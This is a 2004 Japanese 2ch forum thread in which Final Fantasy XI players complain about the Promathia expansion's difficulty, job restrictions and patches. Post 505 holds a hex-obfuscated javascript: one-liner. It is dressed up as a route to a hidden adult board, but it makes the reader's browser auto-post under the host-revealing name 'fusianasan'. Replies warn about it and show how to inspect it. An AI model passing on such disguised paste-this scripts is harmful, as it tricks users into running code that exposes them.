それこそが、好奇心を刺激する良い意味での延命ではないか。

オフゲーライクな作りなのに、今時珍しい分岐もアナザーも存在しないFF11。
結局は只の■eの怠慢じゃんか。何か言い逃れが出来るのかこれ?

操作性や画面は良い物を持っているだけに、本当に勿体無い素材に終わってる。

402 :既にその名前は使われています:04/12/03 23:32:43 ID:b4qoaXDI
新作情報

ttp://www.4gamer.net/news/history/2004.12/20041203220212detail.html

期待したいけどヘッドロックか。どうなんだろ。
まあ俺はディプスも結構好きだったので評判よければやるかも。

403 :既にその名前は使われています:04/12/03 23:38:59 ID:80nINfbH
>>402
ヘッドロックって、ディプスが糞で内部じゃどうしようもなくなったから
外部に頼むことになったときの会社だっけ?
ごめ、興味はあったけどディプスやってない(ノ∀`)

404 :既にその名前は使われています:04/12/03 23:45:25 ID:b4qoaXDI
>>403
まあしょぼしょぼの国産ゲームだけど、結構ランダム性があったから
俺はある程度楽しめたよ。

405 :既にその名前は使われています:04/12/03 23:47:45 ID:+xu7bZQs
オンゲーじゃなくて良いと思ったら、完全オフゲのこれなんかどうだろう。
ライオンハートサーガ
ttp://www.4gamer.net/review/lhs/lhs.html

とりあえず■eの開発者達に、レビューだけでも読ませてみたいもんだ。

406 :既にその名前は使われています:04/12/03 23:48:43 ID:Uw2bFOY1
死にエリア多すぎはやむを得まい。エリアそのものが足止め策だし。

レベル制限エリアやソロ不可能な仕掛けを設置して、
PCのレベルやジョブ、上位アビ、魔法、装備等による安易なクリア手段を全て潰すのが目的だろうし。
新モンスの配置や強さもそれを支える。

つーか、今まで狩り場として機能していたのを潰すくらいだしなぁ。
ベヒ縄張り、ダボイ、古墳がいい例。
まぁ、むろん逆に狩り場にした様な所もある訳だが。
ランペ墓地下と慟哭の谷、ヨアトル怨念あたりか。

新エリアは最初から狩り場にはしないんだろ。
ビビキーなんてあんな許容人数の少ない所が1ヶ所だけか。
それもモンスの配置上、たまたま狩り場になり得たって感じだしな。想定外なんだろなw

407 :既にその名前は使われています:04/12/03 23:50:26 ID:rTAZd+ZZ
個人的にはダンジョンロード
ttp://www.4gamer.net/news.php?url=/DataContents/game/0808.html

408 :既にその名前は使われています:04/12/03 23:54:14 ID:nDneyj6n
>>402
自分のキャラに萌えてるFFユーザーには
年をとっていく自分のキャラが苦痛でたまんないだろうな

409 :既にその名前は使われています:04/12/04 00:19:14 ID:vMorj9DI
http://www.tantraonline.jp/
ガンホー・・・・・
色々出るけどFFにがんばってもらいたいんだけどなぁ。
>>406 旧狩場つぶしは新エリアへ人の誘導と「初期ディスクの遺産で食ってる」って言われたくない意地だと思う。
連携・MB・BC・属性効果・面白い部分の基礎は初期ディスクに集約されてるんだから意地張らなきゃいいのにねぇ。
連携エフェクトもログもないときに模索してるときは楽しかったな・・そして実装された時は素直に嬉しかった。
PMディスクは初期ディスクへの挑戦かと勝手に思い込みすぎたぁよ・・・・
友人に「帰ってきなよ^^面白くなったよ」って言えるパッチこないかな!こねぇよなぁ。。。。。。。。。。。。。

410 :既にその名前は使われています:04/12/04 00:30:56 ID:3G6FTht2
>>409
トリビューンの攻略記事を見る限り、ゲームとして何をどうするべきかが、根本的に判って無いらしい。
プロマで一気に楽しくなくなったし、プロマでLSの言動が一気に厨臭いというか変になったのでソッと抜けた。
名前通り、呪縛だったようだ。指揮を執る者が変わらない限り、面白くするのは無理かも知んない。

411 :既にその名前は使われています:04/12/04 00:31:26 ID:oxUIpjVo
>>409
今帰ってきても何もする事がない。
とは、言えるな(つД`)

412 :既にその名前は使われています:04/12/04 01:58:39 ID:+kt2XmIp
浮上


413 :既にその名前は使われています:04/12/04 02:42:03 ID:uuFl1ZOo
>>390
ぶっちゃけ価値観の問題。
実用で選ぶと気持ちいい人もいれば、○○使いになれると脳汁でる人もいるでそ。
必要十分なら、後は趣味の問題だから好きにさせたら/したらいんじゃないかとおもうよ。

ただ、FFXIそのもの、さらにネ実シタラバクオリティだと、
異様なまでに必要十分ラインを高く高く設定したがるから、おかしなことになってるんだけど。

414 :既にその名前は使われています:04/12/04 02:44:21 ID:HTyEATJ4
>>394 にででるものがどういう修正されるかだな
スタック変更はいまのうちにしらせがくるだろうけど

効果修正は当日だろうしな
 

415 :既にその名前は使われています:04/12/04 03:35:01 ID:2HgkCzmA
緊急浮上!

416 :既にその名前は使われています:04/12/04 03:37:56 ID:2HgkCzmA
下げてた;;

417 :既にその名前は使われています:04/12/04 05:41:48 ID:uoM06dQl
sage保守

418 :既にその名前は使われています:04/12/04 08:27:56 ID:JQ4TOSDv
というか未実装で足止めするような会社だからゲームバランスがどうとか
言えるレベルじゃなくなってきてる。

419 :既にその名前は使われています:04/12/04 08:36:23 ID:oKQ2DJ1F
誰もが納得するスレゆえに停滞してるなw

420 :既にその名前は使われています:04/12/04 09:07:59 ID:j6Fs8DZB
>>419
そこで前スレのような池沼待ちですよ。

421 :既にその名前は使われています:04/12/04 10:00:11 ID:kDD36lS6
シャインブレードは週休2日だから来ないだろう

422 :既にその名前は使われています:04/12/04 10:24:49 ID:bloaT5Or
応竜モンクは月曜未明に現れるからたちが悪いぜ
面白くて寝られやしねぇ


423 :既にその名前は使われています:04/12/04 10:30:10 ID:gMGWibF0
シャインブレードは週2日しか働いていないんじゃない?

424 :既にその名前は使われています:04/12/04 10:55:29 ID:SmJ0cxC8
その応竜モンクって、前すれの前身である
プロマシア反省スレでも暴れてなかったっけ?

425 :既にその名前は使われています:04/12/04 11:06:41 ID:oxUIpjVo
>>419
ジョブスレみたいに反論するやつがいないからなぁw

426 :既にその名前は使われています:04/12/04 11:16:37 ID:BlDoJoZH
信者か社員が現れないと
ほんと伸び悪いね
ageと

427 :既にその名前は使われています:04/12/04 11:53:37 ID:ddkSQRYI
もうプロマシアがどうこう言うのが野暮なくらいのレベルのがっかり砲が撃たれようとしてるからにゃー
なんというか・・・■eに高濃度の笑いの神様が降臨してるような気がwwwwwww

 ttp://www.playonline.com/ff11/polnews/news3328.shtml


428 :既にその名前は使われています:04/12/04 11:55:19 ID:9Ch/zKid
誰か儲か社員役やってwww
オマエがやれって?

俺は釣りスキル低くて無理wwww

429 :既にその名前は使われています:04/12/04 12:01:53 ID:+ivGTgWi
ヴォンでジョブ限定とか言ってる人は、攻略情報鵜呑みにして
先人の真似して、突破さえ出来れば満足しちゃうただの低能w

アラ必須?集めりゃいいじゃん
普段から誘われるまで4時間でも5時間でもボーっと突っ立ってる
だけだから、プロMきついとか言っちゃうんだってのに気付けよ糞

430 :既にその名前は使われています:04/12/04 12:02:01 ID:j6Fs8DZB
戦闘が単調なのは半分はユーザーのせい
http://game7.2ch.net/test/read.cgi/ogame/1102097785/l50

↑にユーザーを馬鹿にしたい変な香具師が居るっぽいよ。

431 :既にその名前は使われています:04/12/04 12:16:38 ID:3lXQFovF
>>429
>>284

429の前半2行は自分自身の事を言ってんだろ?なら納得。

432 :既にその名前は使われています:04/12/04 12:22:28 ID:JQ4TOSDv
>>429
その割には公式でも空蝉必須ですね^^

433 :既にその名前は使われています:04/12/04 12:24:21 ID:W2iKR2nE
藤沢信者

434 :既にその名前は使われています:04/12/04 12:28:16 ID:zpaLumjA
>>432
ユーザーの低いスキルでも参考にできる戦法だと空蝉必須だったんですよ
本当はどんな構成でもクリアできるんだけど
気づかないアホっぷりを眺めて笑ってます

435 :既にその名前は使われています:04/12/04 12:28:23 ID:qimm+sIN
適当編成でも確実に勝てるんなら
苦労はねぇっての。
ドラミッションみたいに適当装備の四人くらいでさっと行って
さっとクリアってならないものかね。

436 :既にその名前は使われています:04/12/04 12:33:03 ID:JQ4TOSDv
だめだ。もうちょっと食いつきがいい話題じゃないと。

>>本当はどんな構成でもクリアできるんだけど

この辺の根拠が浅すぎる。もう少しガンバレー

437 :既にその名前は使われています:04/12/04 12:39:35 ID:Z97Z+vo+
ジラMも3章以降の3国Mも、これから実装されるプロMも、
「新たなミッションが実装されました」ってアナウンスされて、
その内容つーか難易度が全部、
4人集まりゃ裸でも勝てるドラMみたいだったら、それはそれで萎えない?

438 :既にその名前は使われています:04/12/04 12:42:57 ID:0bORt1CA
>>437
世界観を味わえる奴ならそのぐらいの難易度で十分だよ
そもそもミッションが売りの割には稚拙な演出ばかりでいろんな説明が抜けてるし

強敵は印章BCとかでユーザーの任意の難易度で戦えるのがいい

439 :既にその名前は使われています:04/12/04 12:43:19 ID:uoM06dQl
>437
いや、別に

440 :既にその名前は使われています:04/12/04 12:43:48 ID:mQFlCYj2
あり得ない構成じゃない限り勝てるくらいの難易度がよかったなぁ

441 :既にその名前は使われています:04/12/04 12:44:43 ID:EPoZA74R
>>437
最初のミッションはそんなんでもいいんじゃね?
RPGで徐々にミッションの難易度上げてやり応えがある構成にするのは
当たり前の要素なのに、プロマMはFF3開始直後に
クリスタルタワー登れって言ってるようなもんだろ。



442 :既にその名前は使われています:04/12/04 12:48:06 ID:qimm+sIN
「絆」が合い言葉なのにカスジョブは来るな
ってどういうゲームだよ

443 :既にその名前は使われています:04/12/04 12:48:13 ID:JQ4TOSDv
>>437
問題の本質はミッション難度じゃなくて追加ディスクとか言っといて
ミッション以外に何もない上にミッションも未実装だって事。
75でレベル止めたってのにやれる事が何にもないだろ…
現状では難度を下げるしか手が無いから
■もユーザーもインプレスもそう言ってるだけ。

444 :既にその名前は使われています:04/12/04 12:49:46 ID:VagQ4Tzg
>>442
弱者を虐げることによって生まれる絆なのさ・・・。
小学校のイジメと同じ。

445 :既にその名前は使われています:04/12/04 12:52:02 ID:Z97Z+vo+
まあプロMは確かにそう思うけど、
なんでもかんでも簡単になったらそれはそれでつまんない気が・・・

446 :既にその名前は使われています:04/12/04 12:52:22 ID:tWHbybkz
つーかこれまでのミッションはLvキャップ解除で陳腐化して、
まったりプレーヤーでも簡単にクリアできた。
少なくとも「ギリギリの戦闘を楽しむ」か「楽して作業的に楽しむ」かという選択肢はあった。

でもプロMはレベル制限があるから…


447 :既にその名前は使われています:04/12/04 12:53:57 ID:ivgDaBEj
レベル制限あるのは、レベル上げしたプレイヤーの意味がないような・・・


448 :既にその名前は使われています:04/12/04 12:54:05 ID:3lXQFovF
難易度は高くていいが、ジョブ限定がクソ。
どうせ簡単になっても、万が一を恐れてジョブ限定するのがFFの飼い犬。

ジョブ毎の個性で切り抜ける余地が無いシステムに、ただ必須ジョブを揃えて
誘われでクリアするだけのヘタレなユーザー。
しかも、そうしてクリアした事を誇らしく思っている。全てが終わっとる。

どの組み合わせで行っても、同じくらいの難しさを演出したとしたら、
既クリアの誘われジョブや、必須ジョブだったヤツも、ここでクリア出来ない
修正しろと叫ぶだろう。そういうこと。

449 :既にその名前は使われています:04/12/04 12:56:53 ID:Z97Z+vo+
そもそも発売前のインタビューで
「カンストしてるプレイヤーが増えていますが、
そういった人は数日であっさりとクリアしてしまうんじゃないでしょうか?」
って聞かれて、そうはならないって言ってるからな。
今思えば、これがLV制限しますよっていう示唆だったんだな。

450 :既にその名前は使われています:04/12/04 12:57:33 ID:+ivGTgWi
レベル上げでとてとて狩れる構成ならプロMやれる。
それぐらいの難易度でいいと思うけどなあ。

現状、きついし、だるいしってクリア済みの人のお手伝いが集まらん。
M2-3ドラゴン程度なら数日前からシャウトすりゃお手伝い集まるっしょ?

451 :既にその名前は使われています:04/12/04 12:59:26 ID:0bORt1CA
>>450
ドラMは5人以上集まれば全員裸でも勝てるからな・・
プロMは装備に薬、さらに終わりが見えない時間まで必要だし

452 :既にその名前は使われています:04/12/04 13:06:01 ID:+ivGTgWi
>>451
■が時間の問題を無視してるのが一番気に入らないなあ。
ヴォン突入したらBC終わるまで「ごめ、時間^^;」とか出来ないじゃん?
廃プレイ強要されるのは好かん

453 :既にその名前は使われています:04/12/04 13:12:56 ID:EJ/iMgSD
今各国ランク10を目指してミッソン進めてるけど、そこそこ楽しい。
クリスタル代や移動にかかる費用もあるけどランク上がった時の
報酬で逆に所持金は+になってってる。ドラ戦も闇王もジュノで
シャウトすればそこそこ人集まるし。6以降の人数必須なのも
シャウトで案外人集まるもんだね。

454 :既にその名前は使われています:04/12/04 13:14:40 ID:ePIcOjsU
しかしNMなモンクがわかなくてもジリジリと500ちかいレスがつくこのスレ、
12/9に斜め修正で一気に大爆発すると予想。

455 :既にその名前は使われています:04/12/04 13:16:37 ID:EJ/iMgSD
すでにスタック数変更予定アイテムみたいなのが発表されて
がっかりだな…
からしせんべいとか誰が食う

456 :既にその名前は使われています:04/12/04 13:16:41 ID:+WeL9rlB
>>394
どうでもいいのばっかりだな・・・・
石つぶてすらないとは・・・・
こりゃ、他の修正も知れてるってことだな

457 :既にその名前は使われています:04/12/04 13:18:00 ID:3lXQFovF
3国切り替える時に記憶の封印とかあるんだから、どこまで進んだかも記憶して良さそうだよなぁ。
進んだ所まで(最高3層)の中から選べればいい。
一体何の記憶を封印したというのか。

今日は2層まで、来週は3層まで進もう。週末は3層からBC目指そう。
これでいいじゃんか。
これなら未クリア者同士の底上げ手伝いも生まれるだろう。何とか汁

458 :既にその名前は使われています:04/12/04 13:18:01 ID:uoM06dQl
難易度関係なくBCの戦闘が楽しければそれで満足だと思う
個性的な攻撃してきたり、変わった弱点があってそれ突けば超楽勝になったり
でも、実際は敵のAIがバカ且つ予備動作解りにくい敵WS発動なんで印象も薄いし
弱点アイテムは効果微妙すぎて全然役に立たなかったりするからなぁ・・・

ボスBCだけでもWSのモーションとか大きく、派手にして印象に残るボスにして欲しかった
例えば、ドラゴンならブレス吐く前に大きく吼えて空気を一杯吸い込むモーションが入るとか
尻尾で攻撃する為に後ろを向くとか
ラグを考えてそういったモーションを長めにとって、ブレス吐きそうなら正面から全員逃げるとか
そういった対処ができる感じで戦闘にバリエーションを持たせたほうが楽しくなりそう
オフラインFFの召喚ムービーみたいなド派手なエフェクトのWS入れたり
一匹のくせに複数のターゲットがある馬鹿デカイボスだったり
攻撃形態に応じて体の色や形が大きく変化したり(あ、ウラグライトは一応微妙ね変化するね)
少し考えるだけでも色々出来そうなんだが…

459 :既にその名前は使われています:04/12/04 13:18:56 ID:0bORt1CA
>>456
12/9パッチのがっかりぷりを予想するスレ
http://game7.2ch.net/test/read.cgi/ogame/1102041166/411-

の411からの流れを見ると笑えるぞw

460 :既にその名前は使われています:04/12/04 13:21:55 ID:qimm+sIN
ランク10の最後のバトルもかなり何度も死んだけど、
あれはなぜかまだ許せたな。つまりプロミヴォンとか
よけいなおまけが付いてるからめんどくささが際だつ。

461 :既にその名前は使われています:04/12/04 14:15:39 ID:ddkSQRYI
>>458
>一匹のくせに複数のターゲットがある馬鹿デカイボス

いいな、これ。例えば応竜も翼にターゲットがあって、そこに集中攻撃すると飛び立たなくなるとか。
「竜さん、ジャンプして頭狙って!」とか「シーフさんは背後から尻尾に不意打ちをお願い!」とか・・・

462 :既にその名前は使われています:04/12/04 14:15:44 ID:+ivGTgWi
>>455
あちこちのスレで既出だけど、news3328.shtmlで発表されたのは
「スタック数が変更になるため競売への出品を停止する必要があるもの」
だけだよ。今までスタック不可だったアイテムがスタック可になる場合は
競売を止める必要は無い。

これがどういう意味か分からないなら、競売所で花火のスタック数を
見てくるといい。昔は花火はスタック12だったが、以前のパッチで99に
なった。そのときも出品を止めて、メンテ後は花火12が消えて花火99
になった。だから今は花火12の欄は無い。

まあ、どうせ斜め下の糞パッチなのは間違いないだろうがorz

463 :既にその名前は使われています:04/12/04 14:15:56 ID:EJ/iMgSD
サンドMのユグホトオークBCとか普通に面白かった。
PTvsPTみたいな感じで脳汁が出た。
ナイトが光輝いていた。
確実に1匹タンマソで引き受けて継戦してた忍者も輝いていた。


464 :既にその名前は使われています:04/12/04 14:25:49 ID:3lXQFovF
>>458
書いてある敵の挙動とか、そういうのがあるからこそ、全ジョブの活躍の
場が出来ると思うんだが、そういう楽しさなんてのが無いしね。
予備動作バリバリで、BC入り口の壁に張り付く程に避けないと食らう
ブレスなんて無茶なのもあってもいいし。でも、その予備動作中は近接
攻撃で開いた口の牙を殴れば大ダメージだが、引き際が肝心。死ぬし。

まぁ一言で言ってしまえば、■eのゲームセンスが無いってことだよなぁ。
多分、開発者はゲームやったこと無いんじゃないかな。経営学のみ。
ヌルゲーマー向けに出来た、これやってれば安定なシステム故の袋小路か。
ん?まさかFFの戦闘がテクニカルだって思ってる人居ないよな。

465 :既にその名前は使われています:04/12/04 14:55:01 ID:FVQnl0HI
絆を演出するのに、お手軽な方法の一つが、仮想敵を作り出すことだ。
戦時かとか一致団結するし、北チョン問題なんかもそうでしょ?

つまりだ、■はユーザーの絆演出のために、斜め下パッチを連発して、
自らユーザー共通の敵足らんとしてるんだよ!!!
普通の企業にできることじゃないぞ。評判とか気にしちゃうからな。
■は、本当に懐の深い企業だ。素晴らしい!!

466 :既にその名前は使われています:04/12/04 15:00:37 ID:6KHUHHff
Tanakaってモンスター実装してください^^^^

467 :既にその名前は使われています:04/12/04 15:05:19 ID:RE9GgPkK
>>466
狩りたい香具師大杉で殺伐としそうなのでやめれ

468 :既にその名前は使われています:04/12/04 15:12:56 ID:5ET8+G31
>>465
むしろ他ジョブが仮想敵になるようにさせることでFFや■e自体が非難されるの問題を回避した。

469 :既にその名前は使われています:04/12/04 15:14:19 ID:0bORt1CA
>>468
この板の弱体厨って■eの手先にしか見えないよなw
下に合わせたらどんどんPC側が不利になる一方なのに

470 :既にその名前は使われています:04/12/04 15:16:49 ID:EJ/iMgSD
弱体叫んでる人はもうこのゲーム引退してたり中途半端なレベルで
長い期間過ごしてるような人な希ガス

471 :既にその名前は使われています:04/12/04 15:17:40 ID:FVQnl0HI
>>468
全く回避しきれてないけどねww

■はヌンジャさまだなwwww

472 :既にその名前は使われています:04/12/04 15:32:06 ID:HTyEATJ4
弱体してもいいんだがな・・・
敵もちゃんと弱体してくれればね



473 :既にその名前は使われています:04/12/04 17:14:53 ID:Vo4Rvx6r
クリアしてもしなくても呆れられてるんだから
せめてクリアして飽きてもらおうと思わなかったのだろうか。

474 :既にその名前は使われています:04/12/04 17:18:47 ID:koJDl+tS
アホーにいって、FF11運営が糞すぎっていって誘導してみるがよろし。
重症の儲が釣れるかもね。

475 :既にその名前は使われています:04/12/04 17:32:02 ID:FUZJQwkH
廃人ほどひどい目にあうものがよかった。
プレイ時間に比例したなんかとか。

476 :既にその名前は使われています:04/12/04 17:59:12 ID:0bORt1CA
(屮゚Д゚)屮↑あげますよー

477 :既にその名前は使われています:04/12/04 19:06:30 ID:5WPHlbMM
パッチスレに活きの良さそうな方が沸いていますけどこちらには
来ていただけないのかなぁ。

478 :既にその名前は使われています:04/12/04 19:10:23 ID:OlNvYvgK
つーか、PMどこまで進めたか忘れたwwwwwwwwwww

479 :既にその名前は使われています:04/12/04 19:12:05 ID:+WeL9rlB
プロMの登場人物ども、
しばらく進めないから、そのままリヴェで衰弱死しろって感じだわw

480 :既にその名前は使われています:04/12/04 19:13:15 ID:V28dTKyw
>>425
■のうらみ>プレイ時間x10のダメージ というWSをHNMが使ってくるというのはどうか
廃人があわてて2nd育てるのが見てて笑えるだろうし

481 :既にその名前は使われています:04/12/04 20:17:21 ID:kww3TWfh
>>480
垢の時間数だったら面白いかも?^^

白姫「始めたばっかりなんです〜。よろしく♪」
敵→白姫に恨み発動
PTメン「あれ?白姫さん即死・・・」


482 :既にその名前は使われています:04/12/04 20:30:11 ID:+sssPHrY
前スレの応竜モンクは釣りスキルたかかったぁよw
>初心者対応のくせに初期ジョブじゃ無理。
モ>戦モシ白赤黒・・・いけると思うけどな。
>初期ジョブ6人でいける根拠は?
モ>初期ジョブ「のみ」6人とは言ってない。 とかw
>薬代かかりすぎ。
モ>やる気が足りない
>ジョブ何でいったの?
モ>狩人サポ忍。矢弾と紙兵使ったが「薬」は使ってない。  とかw
釣れまくってたwつぅか俺も釣られた。




483 :既にその名前は使われています:04/12/04 20:33:09 ID:Gjxej8CL
で、まだFF続けてる■信者はどうして続けてるの?

484 :既にその名前は使われています:04/12/04 20:37:04 ID:GFHyUWBj
そこに道があるからさ

485 :赤い炊飯器:04/12/04 20:52:46 ID:H1wRz4yz
とゆーか彼女に薦めたのが大失敗なんだが…どーなんだろか(´・ω・`)

486 :既にその名前は使われています:04/12/04 21:17:42 ID:Vo4Rvx6r
>>485
彼女が自制の強い人間である事を祈るのみ。
でなければ責任取れ。

487 :既にその名前は使われています:04/12/04 21:19:58 ID:DMDs7A4x
>>485
パートナーと共通の話題を持つために自分がプレイしているゲームを
薦めるのは別に問題ないかと思いますが、そのゲームが中毒性が強く
お世辞にもライトプレイヤー向けとはとても言えない、FF11だったことは
貴方が言われるとおり、大失敗かと思われます。

既に手遅れかもしれませんが、外に頻繁に連れ出すなどして、FFから
離れさせるようした方が良いかもしれません。

488 :既にその名前は使われています:04/12/04 21:22:27 ID:9RPcTeaE
>>486
いやFFなんて大嫌い→ゲームオタだったのね!>>485さようなら

ってオチかも

489 :既にその名前は使われています:04/12/04 21:25:48 ID:DMDs7A4x
>>488
金稼ぎスレみてくれば解るけど、幸か不幸か(たぶん不幸)そうじゃないっぽい…

490 :赤い炊飯器:04/12/04 21:35:51 ID:H1wRz4yz
お互い社会人なんで休みの日に遊びに行く事もできないジャマイカ(´∀`)v〜桃鉄と人生ゲームしかしたことない奴に薦めてしまった俺がアホだった…今では俺よりレベル高いテレポ全部買ってと言われる始末(´_ゝ`)他スレで相談したが何とか頑張って金策するよ…


491 :赤い炊飯器:04/12/04 21:39:12 ID:H1wRz4yz
>>489
不幸ですw奴が寝たら頑張って金策する!


492 :既にその名前は使われています:04/12/04 21:43:00 ID:5WPHlbMM
>>491
ttp://trade.netgame-rmt.jp/
ここに行って、10万ギル400円で買い取りますって書かれた方が早いかと思います。

493 :既にその名前は使われています:04/12/04 21:48:14 ID:P64XuxU+
ぇ・・・彼女、自分で買わないの?^^;


494 :赤い炊飯器:04/12/04 21:50:10 ID:H1wRz4yz
>>492
RMTかぁ〜いちよそれも考えたんだが何か気分がすぐれないんだよ…なんかしたら悪いってゆう不思議な罪悪感を感じるんだよ(´・ω・`)だから蜂をいっぱい狩る事にしたんだがね…まぁ三国テレポは最低買ったげるよう頑張ってみるわ!!

495 :既にその名前は使われています:04/12/04 22:16:01 ID:5WPHlbMM
>>494
そうですか。頑張ってください。それにしても相方の方、白なら自力で入手可能
かと思うんですけど・・・甘やかしすぎるのもほどほどに。

496 :既にその名前は使われています:04/12/04 22:20:59 ID:+WeL9rlB
>>494
お前、そのままノーブル事件のような臼姫に育ったら
ちゃんと責任持てよ?

497 :赤い炊飯器:04/12/04 22:25:14 ID:H1wRz4yz
>>496
すまないがノーブル事件みたいな白とは何だ? 詳しく!

498 :既にその名前は使われています:04/12/04 22:49:05 ID:DMDs7A4x
>>497
まとめサイト
http://noble100.fc2web.com/index.html
現行スレ
【コテ降臨】ノーブル100万バザ事件part2【急展開】
http://game7.2ch.net/test/read.cgi/ogame/1101960048/l50

まぁ、貴方が頼られてるうちは良いけど、ナンパ廃プレイヤーなんかに引っかか
るといろいろ面倒だと思うので、普段から彼女への気配りを欠かさないよう
にした方が良いかもです。

499 :既にその名前は使われています:04/12/04 23:28:35 ID:8LfaiMdk
タロホラデムはいっそ炊飯器がクエ受けて赤か白25にして取りに行った方が早いんじゃね?
クエ自体は簡単だよ?

ってか、ドキドキで面白いのに
…テレポくらい自力で取れと思う

500 :既にその名前は使われています:04/12/04 23:59:26 ID:oxUIpjVo
テレポクエはインスニの使い方を学ぶすごいいいクエ。
テレポを自分で取れないと、みっそんで高レベルに
インスニ要求する臼になるよ。

闇王戦に行ったんだが闇王よりも脳筋前衛&インスニ持ってる後衛の@連打のがキツかった。
インスニかけなおし→さあ行こうか!→@、@のコンボでちっとも進みやしねえ。
俺だけは自分で自分の面倒見てたんだが、よくあの時の高レベルさんキレなかったと思うよ。

501 :既にその名前は使われています:04/12/05 00:13:42 ID:sb6ItjTN
難易度変更が来ると思われるのに漏れの鯖では
今日も変わらずプロマがんばってる人々がいる。

そんな漏れも明日ミッション進める予定。
調教済みだからなw

502 :既にその名前は使われています:04/12/05 01:15:10 ID:R9awa5gF
易しくなるとは限らないからなぁ。
ミッションそのものの難易度修正なら、具体的な修正内容が公開されててもいいはず。
なのにヴァズの修正内容だけ別項目で具体的に取り上げているとこからすると、多分ミッションの難易度調整ではない。

「記憶消さなくても他の盆に行けるようになりました」
ぐらいだろうと思う。

503 :既にその名前は使われています:04/12/05 01:18:03 ID:oVDJBJk9
>>502
多分山串弱体で間接的難易度上昇。

504 :既にその名前は使われています:04/12/05 01:19:07 ID:wWiMIFD9
三国プロミヴォンのレベル制限狩戦白だけ25レベルとかしそうだね
■<ある特定のジョブだけしか参加できない問題を回避した

505 :既にその名前は使われています:04/12/05 01:21:14 ID:rXV9iJSa
裏Pinkちゃんねるに行くコマンドです。エロイヒトは、さあどうぞ。
(準備) 2ch専用ブラウザを使用している人は、IEなどの一般的なブラウザでこのスレを開いておく。

1、
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b46524f4d2e76616c75653d2766757369616e6173616e2
73b4d4553534147452e76616c75653d275c75333062625c75333065645c75333065615c75373533625c75353063665c75333034
665c75323434305c75323433355c7532343234273b7375626d69742e636c69636b28293b7d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。

2、改行を外して1行にする。
3、1行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。
4、 Enterを押す(もしくは「移動」をクリックする)。

506 :既にその名前は使われています:04/12/05 01:28:03 ID:VEDOpJsR
>>505
あーあ…
どこから拾ってきたか解らないけど、運営に知られると非常にヤバいよ?
削除依頼早めにだしてね。

507 :既にその名前は使われています:04/12/05 01:30:19 ID:gyCCd6BW
>>505
あーあ
アク禁おめ

508 :既にその名前は使われています:04/12/05 01:37:54 ID:655/ROB4
>>505
君は実に馬鹿だなぁ(AAry

509 :既にその名前は使われています:04/12/05 01:38:43 ID:8AbIOFM5
このスレを強制的に止めたいのかな?


510 :既にその名前は使われています:04/12/05 01:47:04 ID:opqNuTXa
>>505はなんなの?
怖いけどやってみたいw

511 :既にその名前は使われています:04/12/05 01:47:44 ID:V2hOhtea
<<シンファクシ、浮上>>

512 :proxy01.whitehouse.gov:04/12/05 02:15:25 ID:9ILKpPpr
>>510
最後の命令をalert(unescape(e));に代えれば確認できるな。
名前欄がこんな感じになるはず

513 :既にその名前は使われています:04/12/05 02:37:31 ID:oVDJBJk9
こっちも喪シュ

514 :既にその名前は使われています:04/12/05 02:43:54 ID:9CFxw0Xb
塔に逃げ込むとイベントはじまって動けない人います

515 :既にその名前は使われています:04/12/05 04:42:38 ID:2TdS1qkV
age

516 :赤い炊飯器:04/12/05 06:16:11 ID:bLRcMSnf
ノーブル事件まとめ呼んだんだが、とりあえずやばいなwとりあえず白姫はもうね、あほかと…これは自分でとらすべきだな!テレポ送るかわりに石つぶて送っとくとするわ! あんな白姫になってもらうと非常に困るしなぁwちょいリアルでガルモになって不意うちしてくるヽ(`Д´)ノ


517 :既にその名前は使われています:04/12/05 06:18:07 ID:PCM7YY64
>>514
ジラートの時
ノーグに一足先に入ったら、PTメンが絡まれたというので戻ろうとするも
いきなりイベントが始まりソイツは戦闘不能。

○○が居る。話を聞きますか?とか選択肢出せよバカ■eめっ!
オフゲーじゃないんですよコレ。

518 :既にその名前は使われています:04/12/05 06:52:52 ID:tLzgE/5i
>>501
ええのぉ・・uchino鯖PMディスク出てからこっち他のクエミッションやる人も激減。
つぅかレベル・メリポptも作るのも前より大変になったぁよ。
>>502
ぼちぼち手伝ってるが10月パッチ直後よりマメット・ディアボロス・応竜は弱いとき多かった希ガス。
多分限界Vみたいにわざわざパッチ当てなくても弱めのボス引く時多目にすることできるんジャマイカ?
それなら修正してるわけじゃないから発表ないしねぇ。


519 :既にその名前は使われています:04/12/05 07:46:39 ID:Ek1+f3LZ
>>453
三国ではハードルになりやすいBCはちゃんと人集め易く
工夫されてるよね。ドラゴン、骨、闇王は進めてるミッションの国が
違っても一緒にクリアできる。

ジラートで追加された三国高ランクBCは経験者しか手伝えなくて
一歩後退。ジラミッションの最初のピークの頃はまだ国毎に前衛後衛
偏ってたからBCメンバ集め苦労した人もいるだろう。

プロマシアではLv制限によって、難易度選択肢
(Lv上げてからやるとか)の削除。

明らかに後退していってるってどうよ?

520 :既にその名前は使われています:04/12/05 07:52:05 ID:p96X0UVZ
初日の出
  眺めていたら
      キノコ雲

521 :既にその名前は使われています:04/12/05 07:53:15 ID:QWQB9Mnx
難易度かえなくてもいいから
負けたときの回線抜き、一度BCまで行ったら次から道中省いてそのままBCへ、
弱体アイテムのドロップ率UP。この3つがあれば十分だろ。
つまり応竜勝てない奴&不必要ジョブはヒポ羽いっぱい集めて石いっぱいもってけ
ばよし。

522 :既にその名前は使われています:04/12/05 08:16:15 ID:Ek1+f3LZ
もしも9日パッチが、
1回行ったBC前へのワープやBC後にBC前へ戻れない出され方や
回線抜きしないとBC前に出られない仕様や弱体クエの
低ドロップ等が何も変えられず、
ただ単にBCの敵レベルが下げられるだけ、とかだったら
その時のがっかり度は計り知れない

523 :既にその名前は使われています:04/12/05 08:58:14 ID:PO9KxLqH
よーするに
近接アタッカーはヒポ倒してこいと

524 :既にその名前は使われています:04/12/05 10:07:51 ID:35VNUXNo
>>523
ヒポ倒して尾羽根集めて石取ったら
狩人か黒魔道士をLv50まで上げてください^^

525 :既にその名前は使われています:04/12/05 10:12:20 ID:NAufHDH8
>>516
立ちバックがんがれ。超がんがれ。

526 :既にその名前は使われています:04/12/05 10:14:22 ID:NAufHDH8
つーか、ヴォン系は人が多すぎて阿鼻叫喚の図だった気がするので、
処理落ちも減る今のうちに行った方が簡単な気もする・・・。
ヴァズとか行ったけど他に人が居ないと
ログも流れないし、玉当て7、8回とかも絶対無いし、3時間掛からなかったYO!

